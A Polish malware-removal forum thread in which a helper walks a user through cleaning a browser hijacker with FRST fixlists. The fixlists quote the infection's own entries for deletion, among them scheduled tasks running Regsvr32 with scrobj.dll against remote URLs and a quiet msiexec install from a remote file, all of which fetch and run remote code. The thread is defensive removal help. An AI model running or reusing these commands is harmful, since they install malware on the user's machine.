Cały czas włącza się luckystarting.com i nie mogę się tego pozbyć

Question

Witam! Proszę bardzo o pomoc w usunięciu syfa z laptopa. Próbowałem z panelu sterowania, z ustawień google chrome itd. , ale trzeba podjąć konkretniejsze kroki. Załączam pliki z FRST.

Kolobos · Answer

@montstal Odinstaluj: McAfee Security Scan Plus McAfee WebAdvisor Obok frst.exe utworz plik Fixlist.txt z zawartoscia: CloseProcesses: Task: {1025134F-7F9A-4C58-8A86-A720880D9F71} - System32\Tasks\Windows-WoShiBeiYongDe => Regsvr32.exe /s /i:hxxp://u76wtn6.x.incapdns.net/?data=zDlkMj1SMdk5MjUdMTq4RUI1FdM4FkUcMYNSM8VWMkVWNdI3Rq== scrobj.dll Task: {4842934E-FD9B-4F57-85D9-DCE081BD425F} - System32\Tasks\Opera scheduled Autoupdate 1490522945 => C:\Users\Ja\AppData\Local\Programs\Opera\launcher.exe [2017-03-21] (Opera Software) Task: {97CFDDCF-623C-4A59-95D6-221D21A3F13B} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lbyhbyc.com/?data=zDlkMj1SMdk5MjUdMTq4RUI1FdM4FkUcMYNSM8VWMkVWNdI3Rq== scrobj.dll Shortcut: C:\Users\Ja\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Eastness\Application\chrome.exe (Google Inc.) Shortcut: C:\Users\Ja\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk -> C:\Program Files (x86)\Eastness\Application\chrome.exe (Google Inc.) Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Eastness\Application\chrome.exe (Google Inc.) Shortcut: C:\Users\Public\Desktop\Google Chrome.lnk -> C:\Program Files (x86)\Eastness\Application\chrome.exe (Google Inc.) Hosts: HKLM-x32\...\Run: [] => [X] HKU\S-1-5-21-2161146674-1075650123-2452356426-1001\...\Policies\system: explorer.exe,msiexec.exe /i /q IFEO	askmgr.exe: [Debugger] Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\McAfee Security Scan Plus.lnk [2017-04-13] ShortcutTarget: McAfee Security Scan Plus.lnk -> C:\Program Files\McAfee Security Scan\3.11.523\SSScheduler.exe (McAfee, Inc.) BHO: McAfee WebAdvisor BHO -> {B164E929-A1B6-4A06-B104-2CD0E90A88FF} -> c:\Program Files (x86)\McAfee\SiteAdvisor\x64\McIEPlg.dll [2017-03-27] (McAfee, Inc.) BHO-x32: McAfee WebAdvisor BHO -> {B164E929-A1B6-4A06-B104-2CD0E90A88FF} -> c:\Program Files (x86)\McAfee\SiteAdvisor\McIEPlg.dll [2017-03-27] (McAfee, Inc.) Handler: dssrequest - {5513F07E-936B-4E52-9B00-067394E91CC5} - c:\Program Files (x86)\McAfee\SiteAdvisor\x64\McIEPlg.dll [2017-03-27] (McAfee, Inc.) Handler-x32: dssrequest - {5513F07E-936B-4E52-9B00-067394E91CC5} - c:\Program Files (x86)\McAfee\SiteAdvisor\McIEPlg.dll [2017-03-27] (McAfee, Inc.) Handler: sacore - {5513F07E-936B-4E52-9B00-067394E91CC5} - c:\Program Files (x86)\McAfee\SiteAdvisor\x64\McIEPlg.dll [2017-03-27] (McAfee, Inc.) Handler-x32: sacore - {5513F07E-936B-4E52-9B00-067394E91CC5} - c:\Program Files (x86)\McAfee\SiteAdvisor\McIEPlg.dll [2017-03-27] (McAfee, Inc.) FF HKLM\...\Firefox\Extensions: [{4ED1F68A-5463-4931-9384-8FFF5ED91D92}] - C:\Program Files (x86)\McAfee\SiteAdvisor\saffplg.xpi FF Extension: (McAfee WebAdvisor) - C:\Program Files (x86)\McAfee\SiteAdvisor\saffplg.xpi [2017-02-14] FF HKLM-x32\...\Firefox\Extensions: [{4ED1F68A-5463-4931-9384-8FFF5ED91D92}] - C:\Program Files (x86)\McAfee\SiteAdvisor\saffplg.xpi CHR Extension: (McAfee&reg; WebAdvisor) - C:\Users\Ja\AppData\Local\Google\Chrome\User Data\Default\Extensions\fheoggkfdfchfphceeifdbepaooicaho [2017-03-26] CHR HKLM\...\Chrome\Extension: [fheoggkfdfchfphceeifdbepaooicaho] - hxxp://clients2.google.com/service/update2/crx CHR HKLM-x32\...\Chrome\Extension: [fheoggkfdfchfphceeifdbepaooicaho] - hxxp://clients2.google.com/service/update2/crx S2 0299241492760795mcinstcleanup; C:\Windows\TEMP\029924~1.EXE [883024 2017-04-21] (McAfee, Inc.) S2 FirefoxDL; C:\Users\Ja\AppData\Local\Temp\fAB92.tmp\QQBrowser.exe [131640 2015-01-06] (Tencent Inc.)

montstal · Answer

Witam. Zrobiłem fixy na awaryjnym i normalnym trybie. Widzę, że usunęło chrome'a, otworzyłem w operze i jakieś jeszcze wysoczyły okienka. Załączam fixloga.

Kolobos · Answer

To byl chrome utworzony przez infekcje. Nie wykonales: > Po wykonaniu zamiesc nowe logi z FRST, ze skanowania.

montstal · Answer

Sorry. Już daję.

Kolobos · Answer

Odinstaluj: YAC(Yet Another Cleaner!) Zrob kopie zakladek z Firefox'a, profil przegladarki zostanie usuniety. Wykonaj Fixlist.txt dla FRST: CloseProcesses: HKU\S-1-5-21-2161146674-1075650123-2452356426-1001\...\ChromeHTML: -> C:\Program Files (x86)\Eastness\Application\chrome.exe -- %1 msiexec.exe /i hxxp://point.chcyhqc.com/anzhaungoimism3.dat /q 2017-04-25 11:30 - 2016-05-23 04:37 - 00065696 _____ () C:\Program Files (x86)\Elex-tech\YAC\zlib1.dll 2017-04-25 11:30 - 2016-05-23 04:37 - 00179200 _____ () C:\Program Files (x86)\Elex-tech\YAC\libpng.dll 2017-04-08 20:40 - 2017-04-08 20:40 - 00170216 _____ () C:\Program Files\AVAST Software\Avast\JsonRpcServer.dll 2017-03-26 12:27 - 2017-03-26 12:27 - 48936448 _____ () C:\Program Files\AVAST Software\Avast\libcef.dll 2017-04-08 20:40 - 2017-04-08 20:40 - 00176480 _____ () C:\Program Files\AVAST Software\Avast\event_routing_rpc.dll 2017-04-08 20:40 - 2017-04-08 20:40 - 00293936 _____ () C:\Program Files\AVAST Software\Avast\gaming_mode_ui.dll 2017-04-08 20:40 - 2017-04-08 20:40 - 00653520 _____ () C:\Program Files\AVAST Software\Avast\ffl2.dll (Elex do Brasil Participações Ltda) C:\Program Files (x86)\Elex-tech\YAC\iSafeSvc.exe (Elex do Brasil Participações Ltda) C:\Program Files (x86)\Elex-tech\YAC\iSafeSvc2.exe (Elex do Brasil Participações Ltda) C:\Program Files (x86)\Elex-tech\YAC\iSafeTray.exe FF DefaultProfile: 3isdtq5k.default FF ProfilePath: C:\Users\Ja\AppData\Roaming\Firefox\Firefox\Profiles\3isdtq5k.default [2017-04-26] R2 iSafeService; C:\Program Files (x86)\Elex-tech\YAC\iSafeSvc.exe [131024 2016-12-02] (Elex do Brasil Participações Ltda) R2 SSSvc; C:\Program Files (x86)\ScreenShot\SSSvc.exe [139744 2016-11-02] (Filseclab Corporation Limited) R1 iSafeKrnl; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnl.sys [262344 2016-05-23] (Elex do Brasil Participações Ltda)

montstal · Answer

Juz wysyłam

Kolobos · Answer

Usun dane synchronizacji Chrome z konta google:
https://support.google.com/chrome/answer/6386691?hl=pl

Kolejny Fixlist.txt dla FRST:
CHR HomePage: Default -> hxxp://www.luckysearch123.com?type=hp&ts=1493277206&from=f6800427&uid=toshibaxmk5055gsx_y98bs5r5sxxy98bs5r5s&z=359df50c0b440aaf16aba97g1z9tccfo6m6m6o1edq
CHR StartupUrls: Default -> "hxxp://www.luckysearch123.com?type=hp&ts=1493277206&from=f6800427&uid=toshibaxmk5055gsx_y98bs5r5sxxy98bs5r5s&z=359df50c0b440aaf16aba97g1z9tccfo6m6m6o1edq"
CHR DefaultSearchURL: Default -> hxxp://www.luckysearch123.com/search.php?type=ds&ts=1493277206&from=f6800427&uid=toshibaxmk5055gsx_y98bs5r5sxxy98bs5r5s&z=359df50c0b440aaf16aba97g1z9tccfo6m6m6o1edq&q={searchTerms}
CHR DefaultSearchKeyword: Default -> luck

W Chrome ustaw wyszukiwarke na Google, do tego odznacz w ustawieniach przywracanie zestawu stron po starcie przegladarki.

Usun katalog C:\FRST i to wszystko.

Cały czas włącza się luckystarting.com i nie mogę się tego pozbyć

Post #1

Post #2

Post #3

Post #4

Post #5

Post #6

Post #7

Post #8

Podsumowanie tematu